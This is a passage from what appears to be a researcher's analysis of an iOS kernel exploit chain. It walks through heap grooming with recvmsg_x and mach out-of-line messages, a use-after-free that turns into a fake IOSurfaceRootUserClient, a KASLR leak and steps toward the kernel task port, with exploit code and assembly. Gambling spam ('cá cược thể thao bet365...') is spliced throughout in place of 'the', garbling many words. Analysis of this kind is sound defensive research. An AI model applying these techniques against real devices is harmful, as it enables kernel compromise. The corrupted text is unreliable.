    hdrs[i].msg_iovlen = 1;
  }
  
  *(int*)arg = sockets[0];
  *((int*)arg + 1) = sockets[1];

  recvmsg_x(sockets[0], hdrs, constant_value_from_offsets/0x20, 0);

  return NULL;
}

This is pretty clearly not a trigger for a shared-memory bug. They're also very unlikely to be using this to busy-loop a cpu core, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 recvmsg_x syscall will block until cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re's data to be read and yield cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 CPU back to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 scheduler.

The only hint to what's going on is that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 number of loop iterations is set by a value read from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 offsets data structure cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y parsed from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 NSArchiver. This indicates that perhaps this is something like a novel heap-grooming technique. Let's look at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 code for recvmsg_x and try to work out what's going on.

recvmsg_x heap groom

The prototype for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 recvmsg_x syscall is:

user_ssize_t recvmsg_x(int s, struct msghdr_x *msgp, u_int cnt, int flags);

The msgp argument is a pointer to an array of msghdr_x structures:


struct msghdr_x {
  user_addr_t msg_name;       /* optional address */
  socklen_t   msg_namelen;    /* size of address */
  user_addr_t msg_iov;        /* scatter/gacá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r array */
  int         msg_iovlen;     /* # elements in msg_iov */
  user_addr_t msg_control;    /* ancillary data, see below */
  socklen_t   msg_controllen; /* ancillary data buffer len */
  int         msg_flags;     /* flags on received message */
  size_t      msg_datalen;    /* byte length of buffer in msg_iov */
};

The cnt argument is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 number of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se structures contained in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 array. In cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploit cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 msg_iov is set to always point to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same single-entry iovec which points to a 256-byte stack buffer, and msg_iovlen is set to 1 (cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 number of iovec entries.)

The recvmsg_x syscall is implemented in bsd/kern/uipc_syscalls.c. It will initially make three variable-sized kernel heap allocations:

user_msg_x = _MALLOC(uap->cnt * sizeof(struct user_msghdr_x),
                     M_TEMP, M_WAITOK | M_ZERO);
...
recv_msg_array = alloc_recv_msg_array(uap->cnt);
...
umsgp = _MALLOC(uap->cnt * size_of_msghdr,
                M_TEMP, M_WAITOK | M_ZERO);

The msgp userspace buffer is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n copied in to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 user_msg_x buffer:


error = copyin(uap->msgp, umsgp, uap->cnt * size_of_msghdr);

sizeof(struct user_msghdr_x) is 0x38, and size_of_msghdr is also 0x38. alloc_recv_msg_array is just a simple wrapper around _MALLOC which multiplies count by sizeof(struct recv_msg_elem):


struct recv_msg_elem *
alloc_recv_msg_array(u_int count)
{
  struct recv_msg_elem *recv_msg_array;

  recv_msg_array = _MALLOC(count * sizeof(struct recv_msg_elem),
                           M_TEMP, M_WAITOK | M_ZERO);

  return (recv_msg_array);
}

sizeof(struct recv_msg_elem) is 0x20. Recall that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 grooming thread function passed a constant divided by 0x20 as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 cnt argument to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 recvmsg_x syscall; it's quite likely cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365refore that this is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 allocation which is being targeted. So what's in here?

It's allocating an array of struct recv_msg_elems:

struct recv_msg_elem {
  struct uio *uio;
  struct sockaddr *psa;
  struct mbuf *controlp;
  int which;
  int flags;
};

This array is going to be filled in by internalize_recv_msghdr_array:


error = internalize_recv_msghdr_array(umsgp,
  IS_64BIT_PROCESS(p) ? UIO_USERSPACE64 : UIO_USERSPACE32,
  UIO_READ, uap->cnt, user_msg_x, recv_msg_array);

This function allocates and initializes a kernel uio structure for each of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 iovec arrays contained in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 input array of msghdr_x's:


recv_msg_elem->uio = uio_create(user_msg->msg_iovlen, 0,
    spacetype, direction);

error = copyin_user_iovec_array(user_msg->msg_iov,
spacetype, user_msg->msg_iovlen, iovp);

uio_create allocates space for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 uio structure and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 iovector base and length pointers inline:


uio_t uio_create(int a_iovcount,     /* number of iovecs */
                 off_t a_offset,     /* current offset */
                 int a_spacetype,    /* type of address space */
                 int a_iodirection ) /* read or write flag */
{
  void*  my_buf_p;
  size_t my_size;
  uio_t  my_uio;
  my_size = UIO_SIZEOF(a_iovcount);
  my_buf_p = kalloc(my_size);
  my_uio = uio_createwithbuffer(a_iovcount, 
                                a_offset,
                                a_spacetype,
                                a_iodirection,
                                my_buf_p,
                                my_size );

  if (my_uio != 0) {
    /* leave a note that we allocated this uio_t */
    my_uio->uio_flags |= UIO_FLAGS_WE_ALLOCED;
  }
  return( my_uio );
}

here's UIO_SIZEOF:


#define UIO_SIZEOF( a_iovcount ) \
  ( sizeof(struct uio) + (MAX(sizeof(struct user_iovec), sizeof(struct kern_iovec)) * (a_iovcount)) )

struct uio looks like this:


struct uio {
  union iovecs uio_iovs;    /* current iovec */
  int uio_iovcnt;           /* active iovecs */
  off_t uio_offset;
  enum uio_seg uio_segflg;
  enum uio_rw uio_rw;
  user_size_t uio_resid_64;
  int uio_size;             /* size for use with kfree */
  int uio_max_iovs;         /* max number of iovecs this uio_t can hold */
  u_int32_t uio_flags;
};

There's a lot going on here, let's look at this diagramatically:


A heap layout diagram showing a repeated pattern of 4kb recv_msg_elem array allocations interspersed with out-of-line descriptor allocations. One of the recv_msg_elem entries is broken out to show that the first field (at the start of that 4kb allocation) is a pointer to a uio object, which itself contains a size and flags field.


On 4k devices cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y spin up 7 threads, which will make 7 of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 recv_msg_elem array allocations, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y send a kalloc_reserver message which will make one more target kalloc allocation which can be free'd independently. 

Heap grooming technique 2: out-of-line memory in mach messages

As you can see from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 diagram above, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 recv_msg_elem allocations are interspersed with 4kb kalloc allocations. They make cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se allocations via crafted mach messages. Here's cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 function which builds and sends cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se messages:

struct kalloc_reserver_message {
  mach_msg_base_t msg;
  mach_msg_ool_descriptor_t desc[62];
};

int
send_kalloc_reserver_message(mach_port_t dst_port,
                             int kalloc_size,
                             int n_kallocs)
{
  struct kalloc_reserver_message msg = {0};
  char buf[0x800] = {0};

  msg.header.msgh_bits =
    MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND,
                       0,
                       0,
                       MACH_MSGH_BITS_COMPLEX);

  msg.header.msgh_remote_port = dst_port;
  msg.header.msgh_size = sizeof(mach_msg_base_t) +
                         (n_kallocs * sizeof(mach_msg_ool_descriptor_t));
  msg->body.msgh_descriptor_count = n_kallocs;

  for (int i = 0; i < n_kallocs; i++) {
    msg.descs[i].address = buf;
    msg.descs[i].size    = kalloc_size - 24;
    msg.descs[i].type    = MACH_MSG_OOL_DESCRIPTOR;
  }

  err = mach_msg(&msg.header,
                 MACH_SEND_MSG,
                 msg.header.msgh_size,
                 0, 
                 0,
                 0,
                 0);

  return (err == KERN_SUCCESS);
}

A mach message may contain "out-of-line data". This is intended to be used to send larger data buffers in a mach message while allowing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel to potentially use virtual memory optimisations to avoid copying cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 contents of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 memory. (See my recent P0 blog post on finding and exploiting vulnerabilities in those tricks for more details.)

Out-of-line memory regions are specified in a mach message using cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following descriptor structure in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel-processed region of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 message:

typedef struct {
  void*                      address;
  boolean_t                  deallocate: 8;
  mach_msg_copy_options_t    copy: 8;
  unsigned int               pad1: 8;
  mach_msg_descriptor_type_t type: 8;
  mach_msg_size_t            size;
} mach_msg_ool_descriptor_t;

address points to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 base of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 buffer to be sent in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 message and size is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 length of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 buffer in bytes. If cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 size value is small (less than two physical pages) cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel will not attempt to perform any virtual memory trickery but instead simply allocate an equally sized kernel buffer via kalloc and copy cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 contents of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 region to be sent into cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re.

The kernel buffer for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 copy has cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following 24-byte header at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 start:

struct vm_map_copy {
  int type;
  vm_object_offset_t offset;
  vm_map_size_t size;
  union {
    struct vm_map_header hdr;      /* ENTRY_LIST */
    vm_object_t          object; /* OBJECT */
    uint8_t              kdata[0]; /* KERNEL_BUFFER */
  } c_u;
};

That's cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 reason cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 size field in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 descriptor has 24 subtracted from it. This technique is used frequently throughout cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploit chains to make controlled-size kalloc allocations (with almost completely controlled data.) By destroying cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 port to which cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 reserver message was sent without receiving cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 message cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y can cause cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kalloc allocations to be free'd.

They repeat cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 recv_msg_elem/kalloc_reserver layout a few times, trying to improve cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 odds that one of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kalloc_reservers lies just before a recv_msg_elem array allocation. On 16k devices cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y start 15 threads at a time, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n send one kalloc_reserver message. This makes sense as 16 target allocation sized objects would fit within one target-size'd kalloc chunk on 16k devices.

They cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n free all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kalloc_reservers (by destroying cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ports to which cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 message were sent) in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 opposite order that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y were allocated, and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n reallocate half of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m. The idea here is to try to ensure that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 next kalloc allocation to be allocated from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 target kalloc.4096 zone will fall in one of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 gaps in-between cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 recv_msg_arrays:


The same heap groom diagram as earlier, this time showing that the memory previously occupied by the out-of-line descriptors is now free, leaving gaps in-between the recv_msg_elem arrays.





Once cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 groom is set up and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 holes in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 heap are likely in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 right place cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y trigger cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bug.

The trigger shared resource list is set up such that it will make a 4kb kalloc allocation (hopefully landing in one of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 gaps) cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bug will cause an IOAccelResource pointer to be written one element off cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 end of that buffer, corrupting cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first qword value of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following recv_msg_elem array:


the same heap grooming diagram as before, now showing one of the gaps having been filled by the resource buffer allocation. The attacker overflows out of this buffer, overwriting the first qword value in the following recv_msg_elem array, which was a pointer to a uio. That pointer is now replaced by a pointer to an IOAccelResource.


If cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 heap groom worked this will have corrupted one of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 uio pointers, overwriting it with a pointer to an IOAccelResource.

They cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n call external method 1 on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 AGXSharedUserClient (delete_resource) which will free cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 IOAccelResource. This means that one of those uio pointers now points to a free'd IOAccelResource

Then cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y use cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 IOSurface properties technique to allocate many 0x190 byte OSData objects in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following layout:

u32 +0x28 = 0x190;
u32 +0x30 = 2;

Here's cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 code where cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y build that:


  char buf[0x190];
  char key[100];

  memset(buf, 0, 0x190uLL);
  *(uint32_t*)&buf[0x28] = 0x190;
  *(uint32_t*)&buf[0x30] = 2;
  id arr = [[NSMutableArray alloc] initWithCapacity: 100];
  id data = [NSData dataWithBytes:buf length:100];
  int cnt = 2 * (system_page_size / 0x200);
  for (int = 0; i < cnt; i++) {
    [arr addObject: data];
  }

  memset(key, 0, 100;);
  sprintf(key, 0, 100, "large_%d", replacement_attempt_cnt);

  return wrap_iosurfaceroot_set_value(key, val);

They are trying to reallocate cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 free'd memory with an OSData object. Overlaying those offsets against a struct uio you see that +0x28 is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 uio_size field, and +0x30 cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 flags field. 2 is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following UIO flag value:


#define UIO_FLAGS_WE_ALLOCED 0x00000002

So cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y've replaced cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 dangling UIO with... a completely valid, if empty, UIO?

They're now in a situation where cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re are two pointers to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same allocation; both of which cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y can manipulate:


Diagram showing that the corrupted uio pointer now points to an OSData backing buffer which is also pointed to by an IOSurface property named something like

They cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n loop through each of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 threads which are blocked on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 recvmsg_x call and close both ends of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 socketpair. This will cause cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 destruction of all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 uios in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 recv_msg_elems arrays. If this particular thread was cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 one which allocated cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 recv_msg_elems array which got corrupted by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 heap overflow, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n closing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se sockets will cause cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 uio to be freed. Remember that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y've now reallocated this memory to be cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 backing buffer for an OSData object. Here's uio_free:

void uio_free(uio_t a_uio) 
{
  if (a_uio != NULL && (a_uio->uio_flags & UIO_FLAGS_WE_ALLOCED) != 0) {
    kfree(a_uio, a_uio->uio_size);
  }
}

This fake uio allocation is pointed to by two pointers at this point; cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 uio and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 OSData. By freeing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 uio, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y're leaving cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 OSData object with a dangling backing buffer pointer. It seems that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 use of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 threads and domain sockets was just a way of creating a heap allocation which had anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r heap allocation as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first pointer; cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 freeing of which cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y could control. It's certainly a novel technique but seems very fragile.

Immediately after freeing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 uio (leaving cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 OSData object with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 dangling pointer) cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y allocate 2 pages worth of IOSurfaceRootUserClients; hoping that one of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m will overlap with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 OSData backing buffer (cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 IOSurfaceRootUserClient will also be allocated from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same kalloc.512 zone.) They cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n read cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 contents of all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 OSData objects (via IOSurfaceCopyProperty as mentioned earlier) and search for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 32-bit value 0x00020002, which is an OSObject reference count. If it's found cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 replacement worked and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y now have cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 contents of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 IOSurfaceRootUserClient object inside cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 OSData backing buffer:


Diagram showing that the memory containing the IOSurfaceRootUserClient is pointed to by both the ipc_port's ip_kobject pointer and an IOSurfaceRootUserClient property (as an OSData object backing buffer pointer.) This enables the attacker to read the contents of the IOSurfaceRootUserClientObject.

They read cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 vtable pointer from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 IOSurfaceRootUserClient object which cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y use to determine cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 KASLR slide by subtracting cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 unslide value of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 vtable pointer (which cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y get from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 offsets dictionary object.)

They read two fields from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 IOSurfaceRootUserClient:

+0xf0 = a pointer to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir task struct, set in IOSurfaceRootUserClient::init
+0x118 = pointer to this+0x110; cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y subtract 0x110 to get cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 address of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 userclient

They make a complete copy of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 IOSurfaceRootUserClient and modify two fields. They set cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 reference count to 0x80008 and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y set cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 pointer at offset +0xe0 to point exactly 0xBC bytes below cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel_task pointer in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel data segment.

The kernel task port

In XNU cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel is just anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r task, so like all ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r tasks it has a task port. A task port is mach port which, if you have a send right to it, allows complete control over cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 task. Back in iOS 10 before 10.3, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re were no mitigations against using cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel task port from userspace which made it a very attractive target for exploitation. If you could corrupt memory such that you gained a send right to this port, you got arbitrary kernel memory read and write, by design.

That's what cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y're going to try to do now.

They free cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 OSData replacer, and try to reallocate it again (using cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 key "huge") with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 modified IOSurfaceRootUserClient inside more OSData objects.

They cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n loop through cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 IOSurfaceRootUserClient connection ports calling external method 13 (get_limits.)

Here's cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 relevant assembly from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 implementation of get_limits. At this point cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 X0 register is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 IOSurfaceRootUserClient, and X2 is an IOExternalMethodArguments*, which contains cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 arguments to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 external method:

LDR     X8, [X2,#0x58] ; struct output buffer
LDR     X9, [X0,#0xE0] ; should be IOSurfaceRoot, now arbitrary
LDUR    X10, [X9,#0xBC]; controlled read at address val+0xBC
STR     X10, [X8]      ; write that value to struct output buffer
...
RET

Since cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 attackers have replaced cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 field at +0xE0 with a pointer to 0xBC bytes below cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel_task pointer in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel data segment, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first 8 bytes of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 structure output buffer when get_limits is called on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 modified user client will contain cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 address of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel task struct!

They verify that those eight bytes do indeed look like a kernel pointer; cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n prepare for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 final replacement. This time cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y replace 10 fields in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 IOSurfaceRootUserClient:

OSData_kaddr is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel virtual address of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 fake user client object (and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 OSData object it's actually inside.)

userclient_copy[0x120] = OSData_kaddr + 0x1F8;
userclient_copy[0x128] = 1;
userclient_copy[0x1F8] = OSData_kaddr + 0x1B0;
userclient_copy[0x1F0] = OSData_kaddr + 0x1A0;
userclient_copy[0x1A0] = OSData_kaddr;
userclient_copy[0x1E8] = kernel_runtime_base + offsets_9;
userclient_copy[0xA8] = kernel_runtime_base + offsets_10;
userclient_copy[0x1E0] = kernel_task + 0x90;
userclient_copy[0x1B8] = our_task_t + 0x2C0;
userclient_copy[0x1C0] = kernel_runtime_base + offsets_11;

offsets 9, 10 and 11 are read from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 deserialized NSArchiver.

They use cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 iosurface property replacement trick for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 last time; this time using cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 key "again". They cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n call external method 16 (get_surface_use_count) on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 dangling IOSurfaceRooUserClient connection.

What's happening here? Let's follow execution flow from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 start of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 external method itself. At this point X0 will point to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir modified IOSurfaceRootUserClient object seen above:

IOSurfaceRootUserClient::get_surface_use_count:
STP   X22, X21, [SP,#-0x10+var_20]!
STP   X20, X19, [SP,#0x20+var_10]
STP   X29, X30, [SP,#0x20+var_s0]
ADD   X29, SP, #0x20
MOV   X20, X2
MOV   X22, X1
MOV   X19, X0
MOV   W21, #0xE00002C2
LDR   X0, [X19,#0xD8]
BL    j__lck_mtx_lock_11
LDR   W8, [X19,#0x128]         ; cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y set to 1
